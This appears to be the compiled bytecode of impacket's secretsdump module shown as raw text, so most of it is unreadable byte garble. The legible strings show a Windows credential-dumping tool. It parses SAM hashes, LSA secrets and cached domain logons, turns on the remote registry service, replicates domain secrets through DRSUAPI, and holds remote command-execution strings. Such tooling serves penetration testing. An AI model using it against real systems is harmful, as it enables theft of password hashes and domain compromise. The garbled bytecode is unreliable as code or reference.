o
    àý°jÛ£ ã                   @   s   d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
Z
d dlZd dlZd dlmZmZ d dlmZ d dlmZmZmZ d dlmZmZ d dlmZmZ d d	lmZ d d
lmZ d dlmZmZ d dl m!Z!m"Z" d dl#m$Z$ d dl%m&Z& d dl'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z. d dl/m0Z0m1Z1 d dl2m3Z3m4Z4m5Z5 d dl6m7Z7 d dl8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z? d dl@mAZAmBZBmCZCmDZDmEZEmFZFmGZGmHZHmIZImJZJmKZKmLZL d dlMmNZNmOZO d dlPmQZQ d dlRmSZSmTZT d dlUmVZV d dlWmXZX d dlWmYZY d dlZm[Z[ d dl\m]Z] d dl^m_Z_ d dl`maZbmcZcmdZdmeZemfZfmgZgmhZhmiZimjZjmkZk d dllmmZmmnZnmoZompZpmqZq d d lrmsZsmtZtmuZu d d!lvmwZw d d"lxmyZymzZzmaZa zd d#l{m|Z|m}Z}m~Z~ d d$lm€Z€m�Z�m‚Z‚ W n eƒ�y€   e „d%¡ e „d&¡ Y nw zd dl…Z…d d'l†m‡Z‡mˆZˆm‰Z‰ d d(lŠm‹Z‹mŒZŒ W n eƒ�y¨   e „d)¡ Y nw ze
 �¡ ZŽW n e��y»   e
ZŽY nw G d*d+„ d+eXƒZ�G d,d-„ d-eXƒZ‘G d.d/„ d/eXƒZ’G d0d1„ d1eXƒZ“G d2d3„ d3eXƒZ”G d4d5„ d5eXƒZ•G d6d7„ d7eXƒZ–G d8d9„ d9eXƒZ—G d:d;„ d;eXƒZ˜G d<d=„ d=eXƒZ™G d>d?„ d?eXƒZšG d@dA„ dAeXƒZ›G dBdC„ dCeXƒZœG dDdE„ dEeXƒZ�G dFdG„ dGeXƒZžG dHdI„ dIeXƒZŸdcdKdL„Z G dMdN„ dNƒZ¡G dOdP„ dPƒZ¢G dQdR„ dRƒZ£G dSdT„ dTƒZ¤G dUdV„ dVe¤ƒZ¥G dWdX„ dXe¤ƒZ¦G dYdZ„ dZe§ƒZ¨G d[d\„ d\ƒZ©G d]d^„ d^ƒZªG d_d`„ d`ƒZ«dadb„ Z¬dS )dé    )Údivision)Úprint_functionN)Ú	unhexlifyÚhexlify)ÚOrderedDict)ÚdatetimeÚ	timedeltaÚtimezone)ÚunpackÚpack)ÚbÚPY2)ÚLOG)Úsystem_errors)ÚwinregistryÚntlm)ÚSimplePagedResultsControlÚLDAPSearchError)ÚSearchResultEntry)ÚLDAP_SID)Ú	transportÚrrpÚscmrÚwkstÚsamrÚepmÚdrsuapi)ÚNULLÚSID)ÚRPC_C_AUTHN_LEVEL_PKT_PRIVACYÚDCERPCExceptionÚRPC_C_AUTHN_GSS_NEGOTIATE)Úwmi)ÚIID_IDispatchÚ	IDispatchÚ
DISPPARAMSÚDISPATCH_PROPERTYGETÚVARIANTÚVARENUMÚDISPATCH_METHOD)ÚDCOMConnectionÚOBJREFÚFLAGS_OBJREF_CUSTOMÚOBJREF_CUSTOMÚOBJREF_HANDLERÚOBJREF_EXTENDEDÚOBJREF_STANDARDÚFLAGS_OBJREF_HANDLERÚFLAGS_OBJREF_STANDARDÚFLAGS_OBJREF_EXTENDEDÚIRemUnknown2Ú	INTERFACE)ÚESENT_DBÚgetUnixTime)ÚDPAPI_SYSTEM)ÚFILE_READ_DATAÚFILE_SHARE_READ)ÚSTATUS_MORE_ENTRIES)Ú	Structure)Úhexdump)Ústring_to_bin)ÚtransformKey)Ú	constants)
ÚTicketÚEncTicketPartÚAP_REQÚseq_setÚAuthenticatorÚTGS_REQÚseq_set_iterÚTGS_REPÚEncTGSRepPartÚKERB_KEY_LIST_REP)ÚProtocolVersionNumberÚTicketFlagsÚPrincipalNameTypeÚencodeFlagsÚEncryptionTypes)Ústring_to_keyÚKeyÚ_enctype_table)ÚsendReceive)ÚKerberosTimeÚ	PrincipalrA   )ÚDESÚARC4ÚAES)ÚHMACÚMD4ÚMD5zDWarning: You don't have any crypto installed. You need pycryptodomexz+See https://pypi.org/project/pycryptodomex/)ÚnoValueÚ
SequenceOfÚInteger)ÚencoderÚdecoderz"This module needs pyasn1 installedc                   @   ó   e Zd ZdZdS )ÚSAM_KEY_DATA)©ÚRevisionú<L=0©ÚLengthre   ©ÚSaltú16s=b""©rQ   rj   )ÚCheckSumrj   )ÚReservedú<Q=0N©Ú__name__Ú
__module__Ú__qualname__Ú	structure© rt   rt   ú�/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/secretsdump.pyrb   w   ó    rb   c                   @   ra   )ÚSAM_HASH)©ÚPekIDú<H=0©rd   rz   )ÚHashrj   Nro   rt   rt   rt   ru   rw   ƒ   rv   rw   c                   @   ra   )ÚSAM_KEY_DATA_AES)rc   rf   )ÚCheckSumLenre   )ÚDataLenre   rh   ©ÚDataú:Nro   rt   rt   rt   ru   r}   Š   rv   r}   c                   @   ra   )ÚSAM_HASH_AES)rx   r{   )Ú
DataOffsetre   rh   )r|   r‚   Nro   rt   rt   rt   ru   rƒ   ”   rv   rƒ   c                   @   ra   )ÚDOMAIN_ACCOUNT_F)rc   ©ÚUnknownre   )ÚCreationTimern   )ÚDomainModifiedCountrn   )ÚMaxPasswordAgern   )ÚMinPasswordAgern   )ÚForceLogoffrn   )ÚLockoutDurationz<q=0)ÚLockoutObservationWindowrn   )ÚModifiedCountAtLastPromotionrn   )ÚNextRidre   )ÚPasswordPropertiesre   )ÚMinPasswordLengthrz   )ÚPasswordHistoryLengthrz   )ÚLockoutThresholdrz   )ÚUnknown2rz   )ÚServerStatere   )Ú
ServerRolerz   )ÚUasCompatibilityRequiredrz   )ÚUnknown3rn   )ÚKey0r‚   Nro   rt   rt   rt   ru   r…   �   rv   r…   c                   @   s    e Zd Zddddd„ fdfZdS )ÚDOMAIN_ACCOUNT_V)ÚRandomstuffforfunre   Ú	SystemSidr‚   c                 C   s   | dd … S )Niôÿÿÿrt   ©Údatart   rt   ru   Ú<lambda>¼   s    zDOMAIN_ACCOUNT_V.<lambda>r€   Nro   rt   rt   rt   ru   r›   ¹   s
    ýr›   c                   @   ra   )ÚUSER_ACCOUNT_C))ÚGroupNumberre   )r‡   z436s=b"")ÚGroupMembersr‚   Nro   rt   rt   rt   ru   r¡   À   rv   r¡   c                   @   ra   )ÚUSER_ACCOUNT_F))r‡   ú8s=b"")ÚLastLogonTimestampr¥   )r•   r¥   )ÚPasswordLastSetTimeStampr¥   )ÚAccountExpiresTimeStampr¥   )ÚLastIncorrectPasswordTimestampr¥   )Ú
UserNumberre   ©r™   re   )ÚGroupedDatazH=0)ÚUnknown4rz   )ÚCountryCoderz   )ÚUnknown5rz   )ÚInvalidPWDCountrz   )ÚNumberOfLogonsrz   ©ÚUnknown6re   )ÚUnknown7r¥   Nro   rt   rt   rt   ru   r¤   Ç   rv   r¤   c                   @   ra   )ÚUSER_ACCOUNT_V))©r‡   ú12s=b""©Ú
NameOffsetre   ©Ú
NameLengthre   ©r•   re   )ÚFullNameOffsetre   )ÚFullNameLengthre   r«   ©ÚCommentOffsetre   ©ÚCommentLengthre   r«   )ÚUserCommentOffsetre   )ÚUserCommentLengthre   ©r­   re   )r¯   r·   )ÚHomeDirOffsetre   )ÚHomeDirLengthre   r²   )ÚHomeDirConnectOffsetre   )ÚHomeDirConnectLengthre   )r´   re   )ÚScriptPathOffsetre   )ÚScriptPathLengthre   )ÚUnknown8re   )ÚProfilePathOffsetre   )ÚProfilePathLengthre   )ÚUnknown9re   )ÚWorkstationsOffsetre   )ÚWorkstationsLengthre   )Ú	Unknown10re   )ÚHoursAllowedOffsetre   )ÚHoursAllowedLengthre   )Ú	Unknown11re   )Ú	Unknown12r·   )ÚLMHashOffsetre   )ÚLMHashLengthre   )Ú	Unknown13re   )ÚNTHashOffsetre   )ÚNTHashLengthre   )Ú	Unknown14re   )Ú	Unknown15z24s=b"")r�   z:=b""Nro   rt   rt   rt   ru   rµ   Ü   rv   rµ   c                   @   ra   )ÚBUILTIN_GROUP_C))ÚUnknown1z<16s=b""r¸   rº   r¼   r¿   rÁ   r«   )ÚUsersOffsetre   rÅ   )Ú	UserCountre   r€   Nro   rt   rt   rt   ru   rÞ   	  rv   rÞ   c                   @   ra   )Ú	NL_RECORD))Ú
UserLengthrz   )ÚDomainNameLengthrz   )ÚEffectiveNameLengthrz   )r¾   rz   )ÚLogonScriptNamerz   )rÎ   rz   )ÚHomeDirectoryLengthrz   )ÚHomeDirectoryDriveLengthrz   )ÚUserIdre   )ÚPrimaryGroupIdre   )Ú
GroupCountre   )ÚlogonDomainNameLengthrz   )Úunk0rz   )Ú	LastWritern   rc   )ÚSidCountre   ©ÚFlagsre   )Úunk1re   )ÚLogonPackageLengthre   )ÚDnsDomainNameLengthrz   )ÚUPNrz   )ÚIVrj   )ÚCHrj   ©ÚEncryptedDatar‚   Nro   rt   rt   rt   ru   râ     rv   râ   c                   @   ra   )Ú!SAMR_RPC_SID_IDENTIFIER_AUTHORITY))ÚValueÚ6sNro   rt   rt   rt   ru   rú   9  rv   rú   c                   @   s(   e Zd ZddddefddfZdd„ Zd	S )
ÚSAMR_RPC_SID)rd   ú<B)ÚSubAuthorityCountrþ   ÚIdentifierAuthorityr‚   )ÚSubLenz_-SubAuthorityzself["SubAuthorityCount"]*4)ÚSubAuthorityr‚   c              	   C   sh   d| d t | d d dd… ƒf }t| d ƒD ]}|dtd	| d
 |d |d d … ƒd  7 }q|S )NzS-%d-%drd   r   rû   é   é   rÿ   z-%dú>Lr  é   r   )ÚordÚranger
   )ÚselfÚansÚirt   rt   ru   ÚformatCanonicalG  s   $0zSAMR_RPC_SID.formatCanonicalN)rp   rq   rr   rú   rs   r  rt   rt   rt   ru   rý   >  s    ûrý   c                   @   ra   )ÚLSA_SECRET_BLOB)rf   r¶   ©Ú_Secretz_-Secretzself["Length"]©ÚSecretr‚   )Ú	Remainingr‚   Nro   rt   rt   rt   ru   r  M  rv   r  c                   @   ra   )Ú
LSA_SECRET)©ÚVersionre   )ÚEncKeyIDrj   )ÚEncAlgorithmre   rð   rø   Nro   rt   rt   rt   ru   r  V  rv   r  c                   @   ra   )ÚLSA_SECRET_XP)rf   r  r  r  Nro   rt   rt   rt   ru   r  _  rv   r  úw+c                 C   s"   |d ur	|| |ƒS t j| |dd�S )Núutf-8)Úencoding)ÚcodecsÚopen)ÚfileNameÚmodeÚopenFileFuncrt   rt   ru   ÚopenFilei  s   
r!  c                   @   sD   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	d
„ Zdd„ Zdd„ Z	dS )Ú
RemoteFilec                 C   s*   || _ || _| j  d¡| _d | _d| _d S )NúADMIN$r   )Ú_RemoteFile__smbConnectionÚ_RemoteFile__fileNameÚconnectTreeÚ_RemoteFile__tidÚ_RemoteFile__fidÚ_RemoteFile__currentOffset)r	  ÚsmbConnectionr  rt   rt   ru   Ú__init__r  s
   
zRemoteFile.__init__c              
   C   s„   d}	 z| j j| j| jttd�| _W d S  ty@ } z!t|ƒ 	d¡dkr4|dkr*|‚t
 d¡ |d7 }n|‚W Y d }~nd }~ww q)Nr   T)ÚdesiredAccessÚ	shareModeÚSTATUS_SHARING_VIOLATIONé   r  é   )r$  r!  r'  r%  r9   r:   r(  Ú	ExceptionÚstrÚfindÚtimeÚsleep)r	  ÚtriesÚert   rt   ru   r  y  s&   
ÿõ
þ€ùüzRemoteFile.openc                 C   s   |dkr	|| _ d S d S ©Nr   ©r)  )r	  ÚoffsetÚwhencert   rt   ru   ÚseekŒ  s   
ÿzRemoteFile.seekc                 C   s:   |dkr| j  | j| j| j|¡}|  jt|ƒ7  _|S dS )Nr   ó    )r$  ÚreadFiler'  r(  r)  Úlen)r	  ÚbytesToReadrŸ   rt   rt   ru   Úread‘  s
   zRemoteFile.readc                 C   s:   | j d ur| j | j| j ¡ | j d| j¡ d | _ d S d S )Nr#  )r(  r$  Ú	closeFiler'  Ú
deleteFiler%  ©r	  rt   rt   ru   Úclose˜  s
   

ýzRemoteFile.closec                 C   ó   | j S ©Nr9  rD  rt   rt   ru   Útellž  ó   zRemoteFile.tellc                 C   s   d| j  ¡ | jf S )Nz\\%s\ADMIN$\%s)r$  ÚgetRemoteHostr%  rD  rt   rt   ru   Ú__str__¡  s   zRemoteFile.__str__N)
rp   rq   rr   r+  r  r<  rA  rE  rH  rK  rt   rt   rt   ru   r"  q  s    r"  c                   @   s”  e Zd Zdadd„Zdd„ Zdd„ Zdd	„ Zd
d„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zejjejjdfdd„Zdd„ Zdd„ Zdd„ Zdbdd„Zd d!„ Zd"d#„ Zd$d%„ Zd&d'„ Zd(d)„ Zd*d+„ Zd,d-„ Zd.d/„ Zd0d1„ Zd2d3„ Zd4d5„ Zd6d7„ Z d8d9„ Z!d:d;„ Z"d<d=„ Z#d>d?„ Z$d@dA„ Z%dBdC„ Z&dDdE„ Z'dFdG„ Z(dHdI„ Z)dJdK„ Z*dLdM„ Z+dNdO„ Z,dPdQ„ Z-dRdS„ Z.dTdU„ Z/dVdW„ Z0dXdY„ Z1dcdZd[„Z2d\d]„ Z3ddd_d`„Z4dS )eÚRemoteOperationsNc                 C   sÔ   || _ | j d ur| j  d¡ || _d| _d| _d | _d | _d| _d | _d | _	d | _
d | _d | _d | _d | _d | _g | _|| _|| _d| _d| _d| _d| _d| _d | _d | _d| _d| _d	| _d
| _d| _d| _d S )Ni,  ÚRemoteRegistryzncacn_np:445[\pipe\winreg]zncacn_np:445[\pipe\samr]r=  Fzncacn_np:445[\pipe\svcctl]z%TEMP%\execute.batz%COMSPEC% /Q /c z%SYSTEMROOT%\Temp\__outputÚsmbexec) Ú _RemoteOperations__smbConnectionÚ
setTimeoutÚ!_RemoteOperations__ldapConnectionÚ_RemoteOperations__serviceNameÚ&_RemoteOperations__stringBindingWinRegÚ_RemoteOperations__rrpÚ_RemoteOperations__regHandleÚ$_RemoteOperations__stringBindingSamrÚ_RemoteOperations__samrÚ_RemoteOperations__domainHandleÚ_RemoteOperations__domainNameÚ_RemoteOperations__domainSidÚ_RemoteOperations__drsrÚ_RemoteOperations__hDrsÚ$_RemoteOperations__NtdsDsaObjectGuidÚ"_RemoteOperations__ppartialAttrSetÚ_RemoteOperations__prefixTableÚ_RemoteOperations__doKerberosÚ_RemoteOperations__kdcHostÚ_RemoteOperations__bootKeyÚ_RemoteOperations__disabledÚ_RemoteOperations__shouldStopÚ_RemoteOperations__startedÚ&_RemoteOperations__stringBindingSvcCtlÚ_RemoteOperations__scmrÚ!_RemoteOperations__tmpServiceNameÚ!_RemoteOperations__serviceDeletedÚ_RemoteOperations__batchFileÚ_RemoteOperations__shellÚ_RemoteOperations__outputÚ_RemoteOperations__answerTMPÚ_RemoteOperations__execMethod)r	  r*  Ú
doKerberosÚkdcHostÚldapConnectionrt   rt   ru   r+  ¥  sB   

zRemoteOperations.__init__c                 C   ó
   || _ d S rG  )rn  )r	  Úmethodrt   rt   ru   ÚsetExecMethodÎ  ó   
zRemoteOperations.setExecMethodc                 C   ó>   t  | j¡}| | j¡ | ¡ | _| j ¡  | j t	j
¡ d S rG  )r   ÚDCERPCTransportFactoryrf  Úset_smb_connectionrO  Úget_dce_rpcrg  ÚconnectÚbindr   ÚMSRPC_UUID_SCMR©r	  Úrpcrt   rt   ru   Ú__connectSvcCtlÑ  ó
   

z RemoteOperations.__connectSvcCtlc                 C   rv  rG  )r   rw  rS  rx  rO  ry  rT  rz  r{  r   ÚMSRPC_UUID_RRPr}  rt   rt   ru   Ú__connectWinRegØ  r€  z RemoteOperations.__connectWinRegc                 C   rF  rG  )rT  rD  rt   rt   ru   ÚgetRRPß  rI  zRemoteOperations.getRRPc                 C   s–   t  | j¡}| | j¡ | ¡ | _| j ¡  | j t	j
¡ t	 | j¡}|d }t	 | j||¡}|d  ¡ | _t	j| j||d d�}|d | _|| _d S )NÚServerHandleÚDomainId)ÚserverHandleÚdomainIdÚDomainHandle)r   rw  rV  rx  rO  ry  rW  rz  r{  r   ÚMSRPC_UUID_SAMRÚhSamrConnectÚhSamrLookupDomainInSamServerr  rZ  ÚhSamrOpenDomainrX  rY  )r	  Údomainr~  Úrespr†  rt   rt   ru   ÚconnectSamrâ  s   



zRemoteOperations.connectSamrc                 C   sÂ  t j| j ¡ tjdd�}t |¡}| | j ¡ ¡ | 	| j 
¡ ¡ t|dƒr6|j| j ¡ Ž  | | j| j¡ | ¡ | _| j t¡ | jrJ| j t¡ | j ¡  | j tj¡ | jd u rb| ¡ d | _t ¡ }tj|d< t ¡ }t|ƒ|d< tjtj B tj!B tj"B tj#B |d< tj$|d< d	|d
< d	|d< d	|d< tj$|d< d|d< t|ƒ|d d< t%| &¡ ƒ|d d< | j '|¡}t(j)t*j+krÇt( ,d¡ | -¡  t ¡ }d .|d d ¡dtt ¡ ƒ|d d    }| /|¡ |d d	k�rt(j)t*j+krýt( ,d|d  ¡ |d |d< t|ƒ|d d< t%| &¡ ƒ|d d< | j '|¡}|d | _0t 1| j| j0| jd¡}t(j)t*j+k�r;t( ,d¡ | -¡  |d d d d	k�rU|d d d d	 d | _2d S t( 3d| j ¡ t4dƒ‚) NÚncacn_ip_tcp)ÚprotocolÚset_credentialsé   ÚpuuidClientDsaÚcbÚdwFlagsÚSiteObjGuidr   ÚPidÚdwReplEpochÚ
dwFlagsExtÚConfigObjGUIDl   ÿÿ Ú	dwExtCapsÚ
pextClientÚrgbzDRSBind() answerr=  ÚppextServeró    zADC's dwReplEpoch != 0, setting it to %d and calling DRSBind againÚphDrsz DRSDomainControllerInfo() answerÚpmsgOutÚV2ÚcItemsÚrItemsÚNtdsDsaObjectGuidz"Couldn't get DC info for domain %szFatal, aborting)5r   Úhept_maprO  rJ  r   ÚMSRPC_UUID_DRSUAPIr   rw  ÚsetRemoteHostÚsetRemoteNameÚgetRemoteNameÚhasattrr’  ÚgetCredentialsÚset_kerberosr`  ra  ry  r[  Úset_auth_levelr   Úset_auth_typer!   rz  r{  rY  Úget_credentialsÚDRSBindÚNTDSAPI_CLIENT_GUIDÚDRS_EXTENSIONS_INTr?  ÚDRS_EXT_GETCHGREQ_V6ÚDRS_EXT_GETCHGREPLY_V6ÚDRS_EXT_GETCHGREQ_V8ÚDRS_EXT_STRONG_ENCRYPTIONÚDRS_EXT_NONDOMAIN_NCSÚNULLGUIDÚlistÚgetDataÚrequestr   ÚlevelÚloggingÚDEBUGÚdebugÚdumpÚjoinÚ
fromStringr\  ÚhDRSDomainControllerInfor]  Úerrorr1  )r	  ÚstringBindingr~  r½  ÚdrsrŽ  ÚdrsExtensionsIntrŸ  rt   rt   ru   Ú__connectDrdsò  sz   ÿ





ÿÿ


ÿ
ÿ

zRemoteOperations.__connectDrdsc                 C   rF  rG  )rW  rD  rt   rt   ru   ÚgetSamrB  rI  zRemoteOperations.getSamrc                 C   rF  rG  )r[  rD  rt   rt   ru   ÚgetDrsrE  rI  zRemoteOperations.getDrsrÚ c                 C   s>   | j d u r	|  ¡  t d| ¡ t | j | jd|||f¡}|S )NzCalling DRSCrackNames for %s r   )r[  Ú_RemoteOperations__connectDrdsr   rÁ  r   ÚhDRSCrackNamesr\  )r	  ÚformatOfferedÚformatDesiredÚnamerŽ  rt   rt   ru   ÚDRSCrackNamesH  s
   
zRemoteOperations.DRSCrackNamesc                 C   sX   t  ¡ }d|d< t|dd… ƒ|d< d|d< d|d< d	|d
< t| ¡ ƒ|d< |  ||¡S )Nr   ÚSidLenr0  éÿÿÿÿÚGuidrÍ  ÚSidÚNameLenú Ú
StringNameÚ	structLen)r   ÚDSNAMEr>   r?  r¼  Ú_DRSGetNCChanges)r	  ÚuserGuidÚdsNamert   rt   ru   ÚDRSGetNCChangesGuidR  s   z$RemoteOperations.DRSGetNCChangesGuidc                 C   s¦   t ƒ }| |¡ td|jd ƒ}|td|jd ƒ7 }||jd jd 7 }||jd 7 }t ¡ }t|ƒ|d< d|d	< ||d
< d|d< d|d< t| ¡ ƒ|d< |  ||¡S )Nrþ   rd   rÿ   r   rû   r  rÔ  r   rÖ  r×  rØ  rÙ  rÚ  rÛ  )	r   ÚfromCanonicalr   Úfieldsr   rÜ  r?  r¼  rÝ  )r	  ÚuserSidÚtsidÚ	packetSidrß  rt   rt   ru   ÚDRSGetNCChangesSid^  s   
z#RemoteOperations.DRSGetNCChangesSidc                 C   s¼  | j d u r	|  ¡  t d| ¡ t ¡ }| j|d< d|d< d|d d< | j|d d d< | j|d d d	< ||d d d
< d|d d d d< d|d d d d< t|d d d< tj	tj
B |d d d< d|d d d< d|d d d< tj|d d d< | jd u r¯g | _t ¡ | _d| jd< ttjƒ| jd< ttj ¡ ƒD ]}| jd  t | j|¡¡ qŸ| j|d d d< t| jƒ|d d d d< | j|d d d d< t|d d d< | j  |¡S )NzCalling DRSGetNCChanges for %s ÚhDrsé   ÚdwInVersionÚpmsgInÚtagÚV8ÚuuidDsaObjDestÚuuidInvocIdSrcÚpNCr   Ú
usnvecFromÚusnHighObjUpdateÚusnHighPropUpdateÚpUpToDateVecDestÚulFlagsr0  ÚcMaxObjectsÚ	cMaxBytesÚulExtendedOpÚ	dwVersionÚcAttrsÚrgPartialAttrÚpPartialAttrSetÚPrefixTableDestÚPrefixCountÚpPrefixEntryÚpPartialAttrSetEx1)r[  rÎ  r   rÁ  r   ÚDRSGetNCChangesr\  r]  r   ÚDRS_INIT_SYNCÚDRS_WRIT_REPÚEXOP_REPL_OBJr^  r_  ÚPARTIAL_ATTR_VECTOR_V1_EXTr?  Ú
NTDSHashesÚATTRTYP_TO_ATTIDr»  ÚvaluesÚappendÚ	MakeAttidr½  )r	  Ú	userEntryrß  r½  ÚattIdrt   rt   ru   rÝ  r  s:   




z!RemoteOperations._DRSGetNCChangesr   c              
   C   s�   | j d u r|  |  ¡ d ¡ ztj| j | jtjtjB tjB tj	B |d�}W |S  t
yG } zt|ƒ d¡dk r8‚ | ¡ }W Y d }~|S d }~ww )Nr0  )ÚuserAccountControlÚenumerationContextr;   r   )rW  r�  ÚgetMachineNameAndDomainr   ÚhSamrEnumerateUsersInDomainrX  ÚUSER_NORMAL_ACCOUNTÚUSER_WORKSTATION_TRUST_ACCOUNTÚUSER_SERVER_TRUST_ACCOUNTÚUSER_INTERDOMAIN_TRUST_ACCOUNTr    r2  r3  Ú
get_packet)r	  r  rŽ  r7  rt   rt   ru   ÚgetDomainUsers˜  s*   
ÿþýû
ü€üzRemoteOperations.getDomainUsersc              
   C   óZ   zt  | j| j¡}W |S  ty, } zt|ƒ d¡dk r‚ | ¡ }W Y d }~|S d }~ww ©Nr;   r   )r   ÚhSamrEnumerateGroupsInDomainrW  rX  r    r2  r3  r  ©r	  rŽ  r7  rt   rt   ru   ÚgetGroupsInDomain©  ó   ü€üz"RemoteOperations.getGroupsInDomainc              
   C   r  r  )r   ÚhSamrEnumerateAliasesInDomainrW  rX  r    r2  r3  r  r  rt   rt   ru   ÚgetAliasesInDomain²  r  z#RemoteOperations.getAliasesInDomainc                 C   ó*   t j| j| j|d�}t  | j|d ¡}|S )N)ÚgroupIdÚGroupHandle)r   ÚhSamrOpenGrouprW  rX  ÚhSamrGetMembersInGroup©r	  Úridr
  rŽ  rt   rt   ru   ÚgetMembersInGroup»  ó   z"RemoteOperations.getMembersInGroupc                 C   r  )N)ÚaliasIdÚAliasHandle)r   ÚhSamrOpenAliasrW  rX  ÚhSamrGetMembersInAliasr#  rt   rt   ru   ÚgetMembersInAliasÁ  r&  z"RemoteOperations.getMembersInAliasc                 C   sX  g }| j d u rt d¡ |S zt d| ¡ tdd�}| j j|ddgd|gd�}W n ty1   ‚ w | j  ¡  |D ]p}t|t	ƒr©d	}d	}z2|d
 D ]+}t
|d ƒdkr^|d d  ¡  d¡}t
|d ƒdkrtt|d d  ¡ ƒ}	|	 ¡ }qIW n" ty˜ }
 ztjddd� t dt
|
ƒ ¡ W Y d }
~
q9d }
~
ww t d||f ¡ | ||g¡ q9|S )Nz@Failed to establish LDAP connection, the user list will be emptyzSearch Filter=%séd   )ÚsizezmsDS-PrincipalNameÚ	objectSidr   )ÚsearchFilterÚ
attributesÚ	sizeLimitÚsearchControlsrÍ  r0  ÚtypeÚvalsr  r1  T©Úexc_infoz-Skipping item, cannot process due to error %sz"DA msDS-PrincipalName: %s, SID: %s)rQ  r   rÆ  rÁ  r   Úsearchr   rE  Ú
isinstancer   r2  ÚasOctetsÚdecoder   r  r1  r  )r	  r/  ÚdomainUsersÚscrŽ  ÚitemÚmsDSPrincipalNamerã  Ú	attributerä  r7  rt   rt   ru   ÚgetDomainUsersLDAPÇ  sF   


ÿ

€û€ý€z#RemoteOperations.getDomainUsersLDAPc                 C   s2   | j d ur| j S | jd u r|  |  ¡ d ¡ | j S )Nr0  )rZ  rW  r�  r  rD  rt   rt   ru   ÚgetDomainSidë  s
   

zRemoteOperations.getDomainSidc                 C   rF  rG  )rX  rD  rt   rt   ru   ÚgetDomainHandleô  rI  z RemoteOperations.getDomainHandlec                 C   s´   | j  ¡ dkr-|  ¡ \}}| j  ¡ }| ¡  | ¡ › d�¡r+d | d¡dd… ¡}ndS | j  ¡ }| j  ¡ }t	 
d|› d|› �¡ d| ¡  d	¡| ¡  d	¡| ¡  d	¡f }|S )
zm
        Returns Kerberos salt for the current connection if
        we have the correct information
        rÍ  Ú.r0  Nr=  z,[Secretsdump][getMachineKerberosSalt] Host: z / Domain FQDN: ó   %shost%s.%sr  )rO  ÚgetServerNamer  r«  ÚlowerÚ
startswithrÃ  ÚsplitÚgetServerDNSDomainNamer   rÁ  ÚupperÚencode)r	  ÚhostÚ_Ú
remoteNamer�  Úsaltrt   rt   ru   ÚgetMachineKerberosSalt÷  s   


,z'RemoteOperations.getMachineKerberosSaltc                 C   s˜   | j  ¡ dkrBt d¡}| | j ¡ | ¡ }| ¡  | tj	¡ t 
|d¡}| ¡  |d d d d d… |d d d d d… fS | j  ¡ | j  ¡ fS )	NrÍ  zncacn_np:445[\pipe\wkssvc]r,  Ú	WkstaInfoÚWkstaInfo100Úwki100_computernamerÕ  Úwki100_langroup)rO  rE  r   rw  rx  ry  rz  r{  r   ÚMSRPC_UUID_WKSTÚhNetrWkstaGetInfoÚ
disconnectÚgetServerDomain)r	  r~  ÚdcerŽ  rt   rt   ru   r    s   
 ÿÿz(RemoteOperations.getMachineNameAndDomainc                 C   s   | j  ¡ dkr	dS | j  ¡ S )NrÍ  r=  )rO  rI  rD  rt   rt   ru   ÚgetDNSDomain  s   
zRemoteOperations.getDNSDomainc                 C   s–   zDt  | j| jd¡}|d }t  | j|d¡\}}|d d… }t  | j|d¡\}}|d d… }t  | j|¡ t|ƒdkrBd||f W S |W S    Y d S )Nz5SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonÚ	phkResultÚDefaultUserNamerÕ  ÚDefaultDomainNamer   ú%s\%s)r   ÚhBaseRegOpenKeyrT  rU  ÚhBaseRegQueryValueÚhBaseRegCloseKeyr?  )r	  r
  Ú	keyHandleÚdataTypeÚ	dataValueÚusernamer�  rt   rt   ru   ÚgetDefaultLoginAccount$  s   z'RemoteOperations.getDefaultLoginAccountc              
   C   s¦   z3t  | j| j|¡}|d }t  | j|¡}|d d d d… }t  | j|¡ | d¡r1|dd … }|W S  tyR } z| d¡du rGt	 
|¡ W Y d }~d S d }~ww )	NÚlpServiceHandleÚlpServiceConfigÚlpServiceStartNamerÕ  z.\r“  Ú_historyF)r   ÚhROpenServiceWrg  Ú"_RemoteOperations__scManagerHandleÚhRQueryServiceConfigWÚhRCloseServiceHandlerG  r1  Úendswithr   rÆ  )r	  ÚserviceNamer
  ÚserviceHandlerŽ  Úaccountr7  rt   rt   ru   ÚgetServiceAccount4  s   

€üz"RemoteOperations.getServiceAccountc                 C   s:  t  | j¡}|d | _t  | j| j| j¡}|d | _t  | j| j¡}|d d t jkr:t	 
d| j ¡ d| _d| _n |d d t jkrRt	 d| j ¡ d| _d| _ntd	|d
  ƒ‚| jdu r›t  | j| j¡}|d d dkr„t	 
d| j ¡ d| _t j| j| jdd� t	 
d| j ¡ t  | j| j¡ t d¡ d S d S )NÚ
lpScHandlerg  ÚlpServiceStatusÚdwCurrentStatezService %s is in stopped stateTFzService %s is already runningz%Unknown service state 0x%x - AbortingÚCurrentStaterh  ÚdwStartTyper  z#Service %s is disabled, enabling itr/  ©rx  zStarting service %sr0  )r   ÚhROpenSCManagerWrg  rl  rk  rR  Ú _RemoteOperations__serviceHandleÚhRQueryServiceStatusÚSERVICE_STOPPEDr   Úinford  re  ÚSERVICE_RUNNINGrÁ  r1  rm  rc  ÚhRChangeServiceConfigWÚhRStartServiceWr4  r5  )r	  r
  rt   rt   ru   Ú__checkServiceStatusE  s0   


øz%RemoteOperations.__checkServiceStatusc                 C   s   |   ¡  |  ¡  |  ¡  d S rG  )Ú _RemoteOperations__connectSvcCtlÚ%_RemoteOperations__checkServiceStatusÚ _RemoteOperations__connectWinRegrD  rt   rt   ru   ÚenableRegistryd  s   zRemoteOperations.enableRegistryc              
   C   sŽ  | j du rt d| j ¡ t | j| jtj¡ | j	du r.t d| j ¡ tj
| j| jdd� | jdu rÃ| jd urÅzwt d| j ¡  ¡}t|dƒrX|j| j ¡ Ž  | | j| j¡ | ¡ | _| j ¡  | j tj¡ t | j¡}|d	 | _t | j| j| j¡}|d
